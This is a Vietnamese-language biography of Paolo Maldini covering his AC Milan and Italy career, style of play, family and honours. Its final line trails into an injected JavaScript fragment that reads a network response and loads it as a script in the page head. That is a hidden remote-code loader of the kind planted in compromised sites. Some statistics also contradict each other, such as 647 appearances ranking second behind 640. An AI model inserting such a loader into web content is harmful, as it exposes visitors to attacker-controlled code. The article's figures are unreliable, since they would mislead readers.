Tiểu sử Paolo Maldini, một trong những hậu vệ vĩ đại nhất trong lịch sử bóng đá, đã ghi dấu ấn sâu đậm với sự nghiệp lừng lẫy tại AC Milan và đội tuyển quốc gia Ý.
Tiểu sử Paolo Maldini
Paolo Cesare Maldini (sinh ngày 26 tháng 6 năm 1968) là một cựu cầu thủ bóng đá chuyên nghiệp người Ý. Ông là con trai của Cesare Maldini, cựu cầu thủ của A.C. Milan và cựu huấn luyện viên đội tuyển Ý.
Maldini nổi tiếng với vai trò hậu vệ, thường chơi ở vị trí cánh trái nhưng cũng thể hiện sự linh hoạt ở cánh phải và trung vệ trong những năm cuối sự nghiệp. Toàn bộ sự nghiệp thi đấu của Maldini gắn bó với AC Milan, nơi ông ra sân 903 trận và chỉ nhận đúng 4 thẻ đỏ trong suốt thời gian chơi bóng.
Maldini được ca ngợi như một trong những hậu vệ vĩ đại nhất, nổi bật với sự lãnh đạo, tính cách điềm tĩnh và phong cách chơi bóng hoàn hảo.
Ông đã đạt nhiều thành tựu đáng kể, bao gồm Cầu thủ xuất sắc nhất thế giới năm 1994 do World Soccer bình chọn, thành viên đội hình thế giới FIFPro năm 2005, hậu vệ xuất sắc nhất UEFA Champions League 2004-2005, và nằm trong danh sách 10 cầu thủ xuất sắc nhất năm 2005 do FIFA bầu chọn. Con trai của ông, Daniel Maldini, hiện đang thi đấu cho đội 1 Inter Milan.
Sự nghiệp thi đấu của Paolo Maldini
Sự nghiệp câu lạc bộ
AC Milan
Paolo Maldini gia nhập A.C. Milan từ khi mới 8 tuổi và nhanh chóng chứng tỏ tài năng của mình, được tin tưởng thi đấu cho đội trẻ Milan từ năm 1977 đến 1984. Trong giai đoạn 1982-1984, anh là đội trưởng của đội trẻ Milan.
Ngày 20 tháng 1 năm 1985, Maldini có trận ra mắt Serie A với Udinese Calcio. Từ đó, anh đã xây dựng một sự nghiệp lẫy lừng tại AC Milan, nổi bật trong đội hình “trong mơ” của câu lạc bộ vào cuối thập kỷ 1980 và đầu thập kỷ 1990 cùng với các tên tuổi như Giovanni Galli, Mauro Tassotti, và Marco Van Basten.
Ngày 20 tháng 1 năm 1986, Silvio Berlusconi, khi đó là doanh nhân trẻ, đã mua lại AC Milan, đánh dấu một bước ngoặt quan trọng trong lịch sử câu lạc bộ. Thành công của triều đại Berlusconi gắn liền với sự nghiệp của Maldini.
Ban đầu, Maldini được giao số áo 26, nhưng từ mùa giải 1986-1987, anh mặc áo số 3 và giữ nó đến khi kết thúc sự nghiệp tại CLB. Số áo 3 của Maldini đã trở thành biểu tượng bất tử của AC Milan.
Maldini giành danh hiệu Scudetto ngay trong mùa giải 1987-1988 và có chiếc cúp C1 đầu tiên tại Camp Nou năm 1989. Kể từ khi gia nhập đội hình chính thức của Milan vào năm 1984, Maldini đã cùng đội giành thêm 7 Scudetto, 1 Cúp quốc gia Ý, 5 Siêu cúp Quốc gia Italia, 5 Cúp C1/UEFA Champions League và 5 Siêu cúp châu Âu, góp phần làm AC Milan trở thành một trong những CLB vĩ đại nhất thế giới.
Tại chung kết UEFA Champions League 2005, Maldini ghi bàn chỉ sau 51 giây và trở thành cầu thủ lớn tuổi nhất ghi bàn trong một trận chung kết. Anh cũng đã san bằng kỷ lục 8 lần tham dự trận chung kết Cúp C1 của Francisco Gento, với 5 chức vô địch trong số đó.
Maldini phá kỷ lục của Dino Zoff về số lần thi đấu tại Serie A với trận đấu thứ 571 và cũng chơi trận đấu thứ 800 cho AC Milan. Mặc dù thông báo sẽ giải nghệ sau mùa giải 2006-2007, anh ký hợp đồng thêm một năm với Milan đến năm 2009.
Ngày 24 tháng 5 năm 2009, Maldini chia tay người hâm mộ ở San Siro sau trận thua trước A.S. Roma. Ngày 31 tháng 5 năm 2009, anh chính thức tuyên bố giải nghệ sau chiến thắng 2-0 trước ACF Fiorentina, nhận được sự ngưỡng mộ và vỗ tay từ khán giả trên khán đài.
Sự nghiệp quốc tế
Năm 1986, Paolo Maldini được cha mình, Cesare Maldini, gọi lên đội U21 Ý, nơi anh ra sân 12 lần và ghi 5 bàn trong 2 năm. Giải đấu U21 châu Âu năm 1986 để lại ấn tượng sâu đậm với đội tuyển Ý khi họ vào tới chung kết và chỉ thua U21 Tây Ban Nha sau loạt sút luân lưu. Maldini cũng góp mặt trong đội tuyển Ý tham dự Olympic 1988.
Ngày 31 tháng 3 năm 1988, Maldini lần đầu khoác áo Azzurri trong trận hòa 1-1 với Nam Tư. Tại Euro 1988, anh tham gia tất cả bốn trận đấu của đội tuyển Ý. Trong World Cup 1990, Maldini ra sân trong trận mở màn và Ý dừng bước ở bán kết trước Argentina của Diego Maradona.
Maldini ghi bàn thắng đầu tiên trong màu áo đội tuyển quốc gia vào ngày 21 tháng 1 năm 1993, trong trận thắng 2-0 trước Mexico. Từ World Cup 1994, anh trở thành đội trưởng đội tuyển Ý, nhưng đội tuyển đã thua Brazil trong trận chung kết sau loạt penalty.
Tại Euro 1996, Ý bị loại ngay từ vòng bảng, và ở World Cup 1998, họ bị loại ở tứ kết dù Maldini được bầu vào đội hình tiêu biểu. Trong trận chung kết Euro 2000, dù Ý dẫn trước 1-0, họ bị Pháp gỡ hòa ở phút 90 và thất bại 1-2 sau bàn thắng vàng của David Trezeguet.
Maldini là cầu thủ khoác áo đội tuyển Ý nhiều thứ hai trong lịch sử với 126 lần, chỉ sau Fabio Cannavaro. Anh chưa bao giờ dẫn dắt đội tuyển Ý chiến thắng trong các giải đấu quốc tế. Maldini giã từ đội tuyển quốc gia sau World Cup 2002 khi Ý bị loại ở vòng 1/8 bởi đội tuyển Hàn Quốc, kết thúc sự nghiệp quốc tế với 126 lần khoác áo và 7 bàn thắng, trong đó có 74 lần với vai trò đội trưởng. Anh đã tham dự 4 kỳ World Cup và 3 kỳ Euro.
Maldini luôn cảm thấy may mắn khi thi đấu cùng những hậu vệ tài năng và trải nghiệm nghệ thuật Catenaccio của bóng đá Ý. Những đồng đội nổi bật của anh bao gồm Mauro Tassotti, Franco Baresi, Alessandro Costacurta, và các thế hệ sau như Christian Panucci, Marco Materazzi, Ciro Ferrara, Alessandro Nesta, Fabio Cannavaro, và Gianluca Zambrotta.
Tháng 2 năm 2009, huấn luyện viên trưởng đội tuyển Ý Marcello Lippi muốn tổ chức một trận đấu tôn vinh Maldini, nhưng anh từ chối vì không muốn kết thúc sự nghiệp quốc tế của mình trong một trận giao hữu.
Phong cách thi đấu
Khi nhắc đến Paolo Maldini, người ta nhớ đến một hậu vệ với lối chơi cần mẫn nhưng đầy hiệu quả và hoa mỹ. Với thể hình lý tưởng, Maldini phù hợp với mọi vị trí trong hàng hậu vệ. Bắt đầu sự nghiệp ở vai trò hậu vệ cánh, anh kết thúc sự nghiệp như một trung vệ, nhưng dù ở bất kỳ vị trí nào, Maldini đều chứng minh mình là một trong những hậu vệ vĩ đại nhất trong lịch sử bóng đá.
Điểm nổi bật nhất trong lối chơi của Maldini là sự bình tĩnh và tự tin. Trong những tình huống đối mặt, người xem hiếm khi thấy anh có những pha vào bóng ác ý. Thay vào đó, Maldini dựa vào sự khôn ngoan, kỹ năng tì đè hợp lý và khả năng phán đoán chuẩn xác để xử lý tình huống.
Khi còn thi đấu ở vị trí hậu vệ cánh trái, Maldini sở hữu tốc độ đáng nể. Anh được coi là một trong những cầu thủ xuất sắc nhất mọi thời đại ở vị trí này, vượt qua cả Giacinto Facchetti và Roberto Carlos. Sự hoàn thiện của Maldini, đặc biệt là khả năng tranh chấp 1-1, được trau dồi qua nhiều năm thi đấu đỉnh cao và dần chuyển sang vai trò trung vệ. Kinh nghiệm và tính cách của anh đã góp phần không nhỏ vào thành công của sự nghiệp.
Cuộc sống cá nhân
Paolo Maldini có hai người con trai, Christian (sinh ngày 14 tháng 6 năm 1996) và Daniel (sinh ngày 11 tháng 10 năm 2001), với người vợ Adriana Fossa, một người mẫu người Venezuela. Họ kết hôn vào năm 1994. Cả hai người con trai của Maldini đều từng tham gia đội trẻ của AC Milan khi còn nhỏ và tiếp nối sự nghiệp của anh tại CLB.
Tên họ của Maldini có thể được sắp xếp lại thành “Di Milan,” thể hiện mối liên hệ sâu sắc của anh với thành phố Milan. Maldini, một người dân chính gốc của Milan, đã từng nói rằng anh sẽ giải nghệ sau trận đấu thứ 1000 với AC Milan, nếu anh còn đủ sức khỏe.
Năm 1994, Maldini trở thành hậu vệ đầu tiên được World Soccer bầu chọn là Cầu thủ xuất sắc nhất thế giới. Vào năm 2003, đúng 40 năm sau khi cha anh, Cesare Maldini, giành Cúp C1 với Milan, Paolo cũng đạt được thành công tương tự khi cùng Milan vượt qua Juventus trong trận chung kết UEFA Champions League tại Old Trafford, Manchester.
Cùng với Franco Baresi, Maldini là cầu thủ của AC Milan mà số áo anh thường mặc (số 3) sẽ được tôn vinh và vĩnh viễn không bao giờ được sử dụng lại sau khi anh giã từ sự nghiệp sân cỏ, trừ khi hai người con trai của anh gia nhập Milan.
Maldini hiện đang là cầu thủ ra sân nhiều nhất ở Serie A với 647 trận, đứng thứ hai sau Gianluigi Buffon với 640 lần. Anh cũng giữ kỷ lục về số năm thi đấu lâu nhất trong lịch sử Serie A với 25 năm (1984-2009). Đến năm 2011, chỉ có Francesco Totti, Javier Zanetti và Alessandro Del Piero là những cầu thủ còn thi đấu có thể vượt qua kỷ lục của Maldini, mặc dù điều này là vô cùng khó khăn (với các con số thống kê tương ứng là 462, 524 và 445 trận).
Với 139 trận tại UEFA Champions League, Maldini đứng thứ hai trong danh sách những cầu thủ ra sân nhiều nhất, chỉ sau Raúl González (tính đến ngày 12 tháng 3 năm 2011). Anh cũng giữ kỷ lục về số lần làm đội trưởng của đội tuyển Ý với 74 lần.
Vào tháng 9 năm 2011, tờ nhật báo thể thao danh tiếng L’Equipe của Pháp đã chọn Paolo Maldini vào danh sách đội hình tiêu biểu của UEFA Champions League mọi thời đại, cùng với các đồng đội Milan nổi tiếng khác như Clarence Seedorf, Marco Van Basten và Franco Baresi.
Cuộc sống sau khi giải nghệ
Sau khi giải nghệ, Paolo Maldini được Leonardo, đồng đội cũ và lúc đó đang làm huấn luyện viên trưởng của AC Milan, mời làm trợ lý huấn luyện viên. Tuy nhiên, Maldini đã từ chối vì lý do cá nhân.
Vào tháng 1 năm 2010, khi AC Milan đối mặt với hàng loạt chấn thương của các trụ cột và phong độ yếu kém, Chủ tịch Silvio Berlusconi và Phó Chủ tịch Adriano Galliani đã mời Maldini trở lại thi đấu. Maldini từ chối với lý do “tin tưởng vào đội bóng”. Cuối mùa giải 2010, Milan chỉ kết thúc ở vị trí thứ 3 tại Serie A, bị loại ở vòng 1/8 UEFA Champions League và tứ kết Coppa Italia, trong khi đối thủ lớn Inter Milan giành được cả ba danh hiệu.
Hiện tại, Maldini đang làm việc cho đội trẻ của AC Milan, đảm nhiệm vai trò chính trong việc đào tạo và phát triển các cầu thủ tiềm năng lên đội B2 và B1. Với tầm ảnh hưởng lớn trong Serie A và châu Âu, Maldini cũng là thành viên cố vấn của ban chuyển nhượng của Milan.
Ngoài công việc trong bóng đá, Maldini sở hữu một cửa hàng cà phê nhỏ ở Milano.
Thành tích
A.C. Milan
Giải vô địch quốc gia Ý (Serie A)
Vô địch (7): 1988, 1992, 1993, 1994, 1996, 1999, 2004
Á quân (3): 1990, 1991, 2005
Cúp quốc gia Ý (Coppa Italia)
Vô địch (1): 2003
Á quân (2): 1990, 1998
Siêu cúp Ý (Supercoppa Italiana)
Vô địch (5): 1988, 1992, 1993, 1994, 2004
Á quân (3): 1996, 1999, 2003
Cúp C1 (European Cup/UEFA Champions League)
Vô địch (5): 1989, 1990, 1994, 2003, 2007
Á quân (3): 1993, 1995, 2005
Siêu cúp châu Âu (UEFA Super Cup)
Vô địch (5): 1989, 1990, 1994, 2003, 2007
Á quân (1): 1993
Cúp liên lục địa (Intercontinental Cup)
Vô địch (2): 1989, 1990
Á quân (3): 1993, 1994, 2003
Cúp vô địch thế giới các câu lạc bộ (FIFA Club World Cup)
Vô địch (1): 2007
Đội tuyển Ý
Giải vô địch bóng đá thế giới (World Cup)
Hạng nhì: 1994
Hạng ba: 1990
Giải vô địch bóng đá châu Âu (Euro)
Hạng nhì: 2000
Danh hiệu cá nhân
Cầu thủ xuất sắc nhất thế giới năm 1994 do tạp chí World Soccer bầu chọn.
Nằm trong FIFA 100 được bầu chọn bởi Pelé năm 2004.
Đứng thứ 21 trong danh sách 100 cầu thủ xuất sắc nhất thế kỷ 20 của World Soccer.
Paolo Maldini không chỉ là một huyền thoại trên sân cỏ mà còn là biểu tượng của sự cống hiến và tài năng trong bóng đá. Di sản của ông sẽ tiếp tục truyền cảm hứng cho các thế hệ cầu thủ và người hâm mộ, khẳng định vị trí của ông trong lịch sử thể thao.response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});